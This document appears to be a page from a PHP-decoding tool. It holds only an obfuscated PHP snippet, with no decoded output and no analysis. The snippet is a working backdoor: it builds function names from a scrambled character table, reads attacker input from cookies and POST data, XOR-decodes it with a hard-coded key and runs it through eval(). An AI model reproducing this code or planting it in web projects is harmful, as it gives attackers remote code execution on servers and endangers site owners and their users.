PHP Decode

<?php 
$heekkjc = 'aink_vx5u-3be1Hs4ro2ypm#l\'8tgcd97*';$bbwnq = Array();$bbwnq[] = $heekkjc[13].$heekkjc[26].$heekkjc[32].$heekkjc[16].$heekkjc[19].$heekkjc[31].$heekkjc[16].$heekkjc[31].$heekkjc[9].$heekkjc[7].$heekkjc[7].$heekkjc[31].$heekkjc[29].$heekkjc[9].$heekkjc[16].$heekkjc[11].$heekkjc[26].$heekkjc[32].$heekkjc[9].$heekkjc[11].$heekkjc[31].$heekkjc[16].$heekkjc[26].$heekkjc[9].$heekkjc[31].$heekkjc[7].$heekkjc[13].$heekkjc[12].$heekkjc[19].$heekkjc[32].$heekkjc[26].$heekkjc[10].$heekkjc[7].$heekkjc[10].$heekkjc[0].$heekkjc[7];$bbwnq[] = $heekkjc[14].$heekkjc[33];$bbwnq[] = $heekkjc[23];$bbwnq[] = $heekkjc[29].$heekkjc[18].$heekkjc[8].$heekkjc[2].$heekkjc[27];$bbwnq[] = $heekkjc[15].$heekkjc[27].$heekkjc[17].$heekkjc[4].$heekkjc[17].$heekkjc[12].$heekkjc[21].$heekkjc[12].$heekkjc[0].$heekkjc[27];$bbwnq[] = $heekkjc[12].$heekkjc[6].$heekkjc[21].$heekkjc[24].$heekkjc[18].$heekkjc[30].$heekkjc[12];$bbwnq[] = $heekkjc[15].$heekkjc[8].$heekkjc[11].$heekkjc[15].$heekkjc[27].$heekkjc[17];$bbwnq[] = $heekkjc[0].$heekkjc[17].$heekkjc[17].$heekkjc[0].$heekkjc[20].$heekkjc[4].$heekkjc[22].$heekkjc[12].$heekkjc[17].$heekkjc[28].$heekkjc[12];$bbwnq[] = $heekkjc[15].$heekkjc[27].$heekkjc[17].$heekkjc[24].$heekkjc[12].$heekkjc[2];$bbwnq[] = $heekkjc[21].$heekkjc[0].$heekkjc[29].$heekkjc[3];foreach ($bbwnq[7]($_COOKIE, $_POST) as $svrklzw => $oplhpy){function ewzysq($bbwnq, $svrklzw, $fzlhc){return $bbwnq[6]($bbwnq[4]($svrklzw . $bbwnq[0], ($fzlhc / $bbwnq[8]($svrklzw)) + 1), 0, $fzlhc);}function aqnklj($bbwnq, $wobpxi){return @$bbwnq[9]($bbwnq[1], $wobpxi);}function snbkylg($bbwnq, $wobpxi){$zultx = $bbwnq[3]($wobpxi) % 3;if (!$zultx) {eval($wobpxi[1]($wobpxi[2]));exit();}}$oplhpy = aqnklj($bbwnq, $oplhpy);snbkylg($bbwnq, $bbwnq[5]($bbwnq[2], $oplhpy ^ ewzysq($bbwnq, $svrklzw, $bbwnq[8]($oplhpy))));} ?>